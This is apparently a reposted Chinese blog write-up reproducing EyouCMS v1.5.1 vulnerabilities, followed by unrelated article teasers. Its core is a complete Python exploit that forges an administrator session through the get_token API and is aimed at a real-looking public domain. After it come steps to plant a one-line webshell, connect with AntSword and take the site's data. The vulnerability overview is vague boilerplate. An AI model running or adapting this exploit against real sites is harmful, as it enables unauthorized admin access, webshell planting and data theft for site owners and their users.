EyouCMSv1.5.1漏洞复现

news2024/11/25 12:31:53

        赞赞网络科技 EyouCMS(易优CMS)是中国赞赞网络科技公司的一套基于ThinkPHP的开源内容管理系统(CMS)。

        Eyoucms v1.5.1 及以前版本存在任意用户后台登陆与文件包含漏洞,该漏洞使攻击者可以通过调用api,在前台设置一个管理员的session,后台远程插件下载文件包含getshell。

漏洞描述

          eyoucms是一款广泛使用的开源CMS系统,然而最近发现该系统存在多个漏洞,使得攻击者可以轻易地获取系统权限并执行恶意代码。

以下是几个重要的漏洞:

1. SQL注入漏洞

        该漏洞存在于eyoucms的登录页面,攻击者可以通过构造特定的SQL语句绕过身份验证并获取管理员权限。此外,攻击者还可以利用该漏洞在数据库中执行任意代码。

2. 文件包含漏洞

        eyoucms的文件包含漏洞存在于多个页面,攻击者可以通过构造特定的URL参数来读取和执行任意文件。这使得攻击者可以轻松地获取系统权限并执行恶意代码。

3. 命令注入漏洞        

        该漏洞存在于eyoucms的后台管理页面,攻击者可以通过构造特定的命令绕过身份验证并执行任意命令。这使得攻击者可以在系统中执行任意代码,包括删除、修改和上传文件等操作。

        为了避免这些漏洞被攻击者利用,eyoucms的开发者已经发布了修复程序。

        影响范围:EyouCMS <= 1.5.1

复现步骤:

如果不知道版本的话就先做信息收集

        这是版本号:v1.5.1

        通过百度查询eyouCMS v1.5.1版本的漏洞

        通过查询可知利用Python脚本去爆破数据

        我在网上找了个脚本如下:

# -*- coding:utf-8 -*-
from time import time

import requests
import re

# 定义 header 头, 绕过 isAjax
header = {'x-requested-with': 'xmlhttprequest'}

# 定义一个 requests 会话
request = requests.session()

PHPSESSION = ""


# 绕过第一个判断
def get_session(url):
    global PHPSESSION

    # 设置 admin_id 并且,获取 PHPSESSION
    payload = '/index.php'
    result = request.get(url=url + payload, headers=header)
    # 获取PHPSESSION
    print("[+] PHPSESSION = " + re.search("PHPSESSID=(.*?);", result.headers["set-cookie"]).groups()[0])
    PHPSESSION = re.search("PHPSESSID=(.*?);", result.headers["set-cookie"]).groups()[0]


def set_admin_id(url):
    # 设置一个 admin_id 以绕过,第一个条件
    payload = '/index.php?m=api&c=ajax&a=get_token&name=admin_id'
    result = request.get(url=url + payload, headers=header).text
    print(f"[+] 正在设置 admin_id -> [{result}]")


def set_admin_login_expire(url):
    payload = "/index.php?m=api&c=ajax&a=get_token&name=admin_login_expire"

    while True:
        result = request.get(url=url + payload, headers=header).text

        # 第二个判断条件,判断登录是否在一小时里
        if (time() - int(change(result), 10) < 3600):
            print("[+] admin_login_expire = " + result)
            break

        print(f"[INFO] 正在爆破 admin_login_expire -> [{result}]")


def set_admin_info_role_id(url):
    payload = "/index.php?m=api&c=ajax&a=get_token&name=admin_info.role_id"

    while True:
        result = request.get(url=url + payload, headers=header).text

        # 第三个判断条件,判断是否是管理员权限
        if (int(change(result), 10) <= 0):
            print("[+] admin_login_expire = " + result)
            break

        print(f"[INFO] 正在爆破 admin_info.role_id -> [{result}]")


def check_login(url):
    payload = "login.php?m=admin&c=System&a=web&lang=cn"
    result = request.get(url=url + payload).text

    if "网站LOGO" in result:
        print(f"[+] 使用 PHPSESSION -> [{PHPSESSION}] 登录成功!")
    else:
        print(f"[+] 使用 PHPSESSION -> [{PHPSESSION}] 登录失败!")

# 如果第一个字符为字母就直接返回0,不是则直到找到字母,并且返回前面不是字母的字符
def change(string):
    temp = ''
    for n, s in enumerate(string):
        if n == 0:
            if s.isalpha():
                return '0'
                break
        if s.isdigit():
            temp += str(s)
        else:
            if s.isalpha():
                break
    return temp


def run(url):
    # 开始计时
    time_start = time()

    get_session(url)
    set_admin_id(url)
    set_admin_login_expire(url)
    set_admin_info_role_id(url)
    check_login(url)

    print(f"[+] PHPSESSION = {PHPSESSION}")

    # 结束计时
    time_end = time()

    print(f"[+] 总共用时 {int(time_end) - int(time_start)} s")


if __name__ == '__main__':
    url = "http://js.i-zeeker.com"
    run(url)

        跑出成功的cookie值:hdvu568p2jhj1bdid6e3h5c3kc

        去网站的登录页面

        登录后台成功

        在后台修改文件

        一句话木马进入

        用蚁剑连接

        拿下数据

漏洞修复

升级EyouCMS至V1.5.2或以后版本。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1343171.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LIUNX进程程序替换

1.什么是程序替换 a.一个程序&#xff0c;只能执行自己的代码 b.如果想要一个程序执行&#xff0c;别的程序的代码呢&#xff1f; 我们就可以创建一个子进程&#xff0c;将这个子进程替换为我们想要执行的程序。 2.样例代码-----execl&#xff08;接口&#xff09; 返回值&…

如何信任机器学习模型的预测结果?

在本篇中&#xff0c;我将通过一个例子演示在 MATLAB 如何使用 LIME 进行复杂机器学习模型预测结果的解释。 我使用数据集 carbig&#xff08;MATLAB 自带的数据集&#xff09;训练一个回归模型&#xff0c;用于预测汽车的燃油效率。数据集 carbig 是 70 年代到 80 年代生产的…

Python 简易图形界面库easygui 对话框大全(续)

目录 EasyGUI库 主要特点 使用场景 对话框样式 10. 文件打开框 fileopenbox 11. 文件保存框 filesavebox 12. 目录打开框 diropenbox 13. 索引对话框 indexbox 14. 例外报告框 exceptionbox 15. 代码文本框 codebox 16. 密码输入框 passwordbox 17. 多重文本框 mul…

Spring的Bean你了解吗

Bean的配置 Spring容器支持XML(常用)和Properties两种格式的配置文件 Spring中XML配置文件的根元素是,中包含了多个子元素&#xff0c;每个子元素定义了一个Bean,并描述了该Bean如何装配到Spring容器中 元素包含了多个属性以及子元素&#xff0c;常用属性及子元素如下所示 i…

变分贝叶斯近似

马尔可夫链蒙特卡洛方法&#xff08;MCMC&#xff09;是一个非常有用和重要的工具&#xff0c;但在用于估计大型数据集的复杂后验分布或模型时可能会遇到困难。变分近似&#xff08;variational approximations&#xff09;或变分推断&#xff08;variational inference&#x…

搅拌站erp系统|从单站到集团公司,不同规模搅拌站如何选择ERP?

搅拌站在采购ERP时经常感到困惑&#xff1a;市场上ERP这么多&#xff0c;功能看上去也大同小异&#xff0c;到底应该怎么选择&#xff1f; 其实&#xff0c;不同规模的搅拌站&#xff0c;所处的发展阶段不同&#xff0c;工作流程不同&#xff0c;在选择ERP过程中需要考量的维度…

VIOOVI干货分享:生产标准工时的计算与观测次数确认

在制造业中&#xff0c;生产标准工时是一个关键指标&#xff0c;它可以帮助企业确定生产效率、评估员工绩效以及优化生产流程。本文将介绍生产标准工时的计算方法&#xff0c;并探讨如何确认观测次数&#xff0c;以充分利用ECRS工时分析软件。 一、生产标准工时的计算 生产标准…

Vue - 实现文件导出文件保存下载

1 文件导出&#xff1a;使用XLSX插件 需求背景&#xff1a;纯前端导出&#xff0c;如 在前端页面勾选部分表格数据&#xff0c;点击"导出"按钮导出Excel文件。 实现思路&#xff1a; 1.通过XLSX插件的 XLSX.utils.book_new()方法&#xff0c;创建excel工作蒲对象wb…

计量经济学|学习笔记以及学习感悟

初级计量经济学着重于介绍基本的统计工具和经济模型&#xff0c;以帮助理解经济数据和经济现象之间的关系。它包括回归分析、假设检验和预测方法等内容。中级计量经济学则深入研究这些方法的理论基础和实际应用&#xff0c;包括更复杂的模型和技术&#xff0c;如面板数据分析、…

【C语言】数据结构——排序二(快排)

&#x1f497;个人主页&#x1f497; ⭐个人专栏——数据结构学习⭐ &#x1f4ab;点击关注&#x1f929;一起学习C语言&#x1f4af;&#x1f4ab; 目录 导读&#xff1a;数组打印与交换1. 交换排序1.1 基本思想&#xff1a;1.2 冒泡与快排的异同 2. 冒泡排序2.1 基本思想2.2 …

【模型】模型量化技术:动态范围、全整数和Float16量化

目录 一 动态范围量化 二 全整数量化 三 float16量化 通常&#xff0c;表示神经网络的数据类型是32位浮点数&#xff08;float32&#xff09;&#xff0c;这种数据类型可以提供高精度的计算&#xff0c;但是在计算资源和存储空间有限的设备上运行神经网络时&#xff0c;会带…

小型内衣洗衣机什么牌子好?口碑好的小型洗衣机

想必大家都知道&#xff0c;我们的内衣裤、袜子这些衣物对卫生方面的要求是比较的高&#xff0c;毕竟是贴身的衣物&#xff0c;因此是要分开清洗的&#xff0c;而不能够跟我们其他的大件衣服一起放入到大型洗衣机里进行混洗&#xff0c;很多就选择了分开单独的手洗&#xff0c;…

【Python排序算法系列】—— 冒泡排序

&#x1f308;个人主页: Aileen_0v0 &#x1f525;热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法 &#x1f4ab;个人格言:"没有罗马,那就自己创造罗马~" 目录 冒泡排序 过程演示&#xff1a; 冒泡排序实现代码&#xff1a; 分析冒泡排序&#xff1a; P…

车载毫米波雷达及芯片新趋势研究2--“CMOS+AiP+SoC”与4D毫米波雷达推动产业越过大规模发展临界点

2.1 MMIC芯片工艺发展至CMOS时代&#xff0c;芯片集成度更高、体积与成本下降  MMIC芯片工艺经GaAs、SiGe已发展至CMOS时代&#xff0c;CMOS MMIC具有更低成本、更高集成度的优势。 工艺的主要变化发生在MMIC芯片的射频材料部分&#xff0c;目前SiGe仍为主流工艺。 SiGe虽在…

c# label 自定义行间距

label 添加 Paint 事件。用"\n" 段落换行 private void label2_Paint(object sender, PaintEventArgs e){int LineDistance 8;//行间距System.Windows.Forms.Label label sender as System.Windows.Forms.Label;System.Drawing.Font drawFont label.Font;label.Au…

Tips:电池电源电压转换为220V

今天在进行操作的时候&#xff0c;看到一个新的东西&#xff0c;就是如何普通的电瓶电压转化为220V交流电。 当在室外或者工作地距离电源比较远的情况下&#xff0c;一般是选取拉线的方式进行采电&#xff0c;但是当距离电源过远&#xff0c;使用拉线的方式就不可用了。如何在…

【Vue2+3入门到实战】(9)Vue基础之组件的三大组成部分(结构/样式/逻辑) 详细示例

目录 一、学习目标1.组件的三大组成部分&#xff08;结构/样式/逻辑&#xff09; 二、scoped解决样式冲突**1.默认情况**&#xff1a;2.代码演示3.scoped原理4.总结 三、data必须是一个函数1、data为什么要写成函数2.代码演示3.总结 一、学习目标 1.组件的三大组成部分&#x…

ksuser.dll文件缺失怎么办?软件或游戏无法启动,一键自动修复

很多小伙伴反馈&#xff0c;自己的电脑中了病毒&#xff0c;被杀毒软件清理后&#xff0c;在打开游戏或软件的时候&#xff0c;经常会报错“提示无法找到ksuser.dll文件&#xff0c;建议重新安装软件或游戏”。自己根据提示重装后&#xff0c;还是报错&#xff0c;不知道应该怎…

php学习05-常量

常量可以理解为值不变的量。常量值被定义后&#xff0c;在脚本的其他任何地方都不能改变。一个常量由英文字母、下划线和数字组成&#xff0c;但数字不能作为首字母出现。 在PHP中使用define()函数来定义常量&#xff0c;该函数的语法格式如下&#xff1a; define(string cons…

[SWPUCTF 2021 新生赛]error

[SWPUCTF 2021 新生赛]error wp 信息搜集 查看页面&#xff1a; 输个单引号会报错&#xff1a; 显然是 SQL 注入。 提示看看有没有什么捷径&#xff0c;你要说捷径的话&#xff0c;sqlmap&#xff1f;你不说我也会用 sqlmap 先跑一下&#xff0c;哈哈。 sqlmap 的使用 先简…